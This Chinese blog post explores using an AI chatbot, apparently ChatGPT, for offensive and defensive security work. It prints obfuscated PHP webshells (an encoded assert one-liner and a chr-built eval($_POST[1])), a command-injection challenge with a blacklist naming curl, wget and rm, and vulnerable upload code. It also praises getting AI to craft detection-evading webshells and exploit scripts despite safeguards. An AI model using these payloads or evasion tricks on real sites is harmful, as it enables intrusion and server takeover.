解决方案-安全信息的使用-详细攻防知识点
本文正在参加 ✍ 技术视角深入 征文活动
前言
是美国人工智能研究实验室新推出的一种人工智能技术驱动的自然语言处理工具,最近又出圈了,之前已经在技术社区火了一把现在传播到了大众面前,我不禁又对这个神奇的AI产生了一些思考,在之前我只是让其辅助写一些简单的逻辑程序,于是我想知道它是否也能在网络安全领域实现一些它的价值呢,本文就这个话题来探讨一下它在网络安全里面一些应用和实践。
自身定位
在实践之前,我想向问一下它自己对于这个问题的回答是什么,即让它自己对信息安全领域起的作用进行一些分析,结果还是挺让人惊讶的:
它回答的十分全面,里面有一些内容连我自己都没有想到,于是我对探讨它在信息安全领域的作用的兴趣进一步加深,下面我便对它进行了一些测试。
构造恶意代码
这里就先以最简单的一句话木马为例,我向它提问是否能构造一个对网站产生威胁的恶意语句,AI很轻松的便回答出来了:
看来简单的恶意语句还是对它来说还是很轻松的,于是我继续向它提问一些进阶的问题,因为若我们要直接传入木马,大概率会被拦截,但可以尝试一些绕过方式来绕过设备的检测,举个例子,我用\x65编码字符串e,然后使用array类型进行混淆:
<?php array_map("ass\x65rt",(array)$_REQUEST['xino']);?> //1.php
通过上面的操作,一些危险函数就有可能绕过检测,于是我尝试让它用字符编码的方式来构造恶意木马:
AI完整的写完了,根据其代码逻辑实际上也是可以利用的,到这我继续加深难度:
可能是我尝试次数比较少的原因,并没有达到我理想的条件,或许再多增加一些限制条件会达到更好的效果,但是不难看出随着AI的逐渐进化,以后我们对一些WAF或杀毒软件进行测试时,可以结合AI来对产品代码进行分析,让AI构造出可以绕过的木马。
在测试时我还尝试让AI分析带有危险函数的代码,对下面这段恶意代码:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> //7.php
AI给出了比较正确的分析,它指出了各个变量存储的值和一些危险函数,并将其结合的语句进行了危险性的判定,发现了潜在的威胁。
这又给我们提供了一个思路,通过AI结合防火墙来达到动态分析恶意请求的想法,进而加强我们设备的安全性。
漏洞源码分析
尝试完上面的项目,我开始思考,能否结合AI来进行代码审计,众所周知,白盒测试又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。通过分析代码找到里面的漏洞点来维护网络安全,如果AI和它碰撞会产生什么样的火花呢?下面看一个例子:
我用一个简单的代码让其分析一下:
分析代码:<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|\x09|\x26|>|", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
结果还是很方便理解的,给出了这段代码的作用以及过滤的所有字符,我们可以根据这些提示来进行渗透或者防护。从而减少了一些排查时间。
之后我让其分析一个简单的有文件上传漏洞的代码,这是一个比较实际的问题,因为出现文件上传漏洞的原因是各种各样的,比如之前文章提到的白名单绕过就是因为存在可控参数目录造成的,下面是含有漏洞的代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
经过了十几次的改善,给了我如下还算合理的回复:
虽然回答没啥毛病但这是经过十几次更新我筛选出来的,个人认为AI现在还达不到分析一些大量代码来给出一些合理的漏洞攻击思路,当然也可能是我提问的方式有问题,有时会出现答非所问的情况,不过我觉得随着技术更新这些小问题应该可以解决。
信息收集
在进行网站渗透时,基本的渗透流程可以参考下面我总结的图:
不管是网站信息或是网站所用服务的信息都是非常重要的,这会考察一个渗透人员的信息收集能力,收集到的信息越多对我们的渗透帮助越大,于是我想试试AI能否协助我们进行这个操作。
我试着用AI查询某网站的旁站,很快便列出了许多:
当然这只是最基础的,我们通过工具也可以进行查询,但AI搜索速度还是远远大于工具的,这不妨是一个我们进行渗透测试时可以快速进行资产收集的好途径。说到这我们不妨进一步思考,作为帮助我们渗透的工具,若我已经收集到了网站所用框架以及版本,我想问问它如何渗透:
这里AI给出了我们一个可利用的CVE漏洞,那么我继续向其提问具体利用方式:
就很有意思了,它真的给我们提供了一个脚本,先不提这个脚本,我觉得在渗透中有个AI能够随时帮助我们收集信息和脚本这能大大加快我们的渗透过程,我希望未来能发展成这样的趋势。让渗透人员少一些不必要的操作从而加大效率。
结语
目前为了防止恶意用户的应用,限制了对于主动构造攻击脚本的一些请求,这使得其不能展现更多的在信息安全领域的价值,本文结合我在之前收集的一些资料,简单分析了一下在网络安全领域的一些可能性,其中包含了一些已经实现和希望未来可以实现的一些想法,无论是AI构造代码或者进行全自动白盒分析,这都会对我们网络安全领域产生一些深远的影响,我希望这些想法可以在不远的未来实现。
网络安全学习路线图(思维导图)
网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。
1. 网络安全视频资料
2. 网络安全笔记/面试题
3. 网安电子书PDF资料
~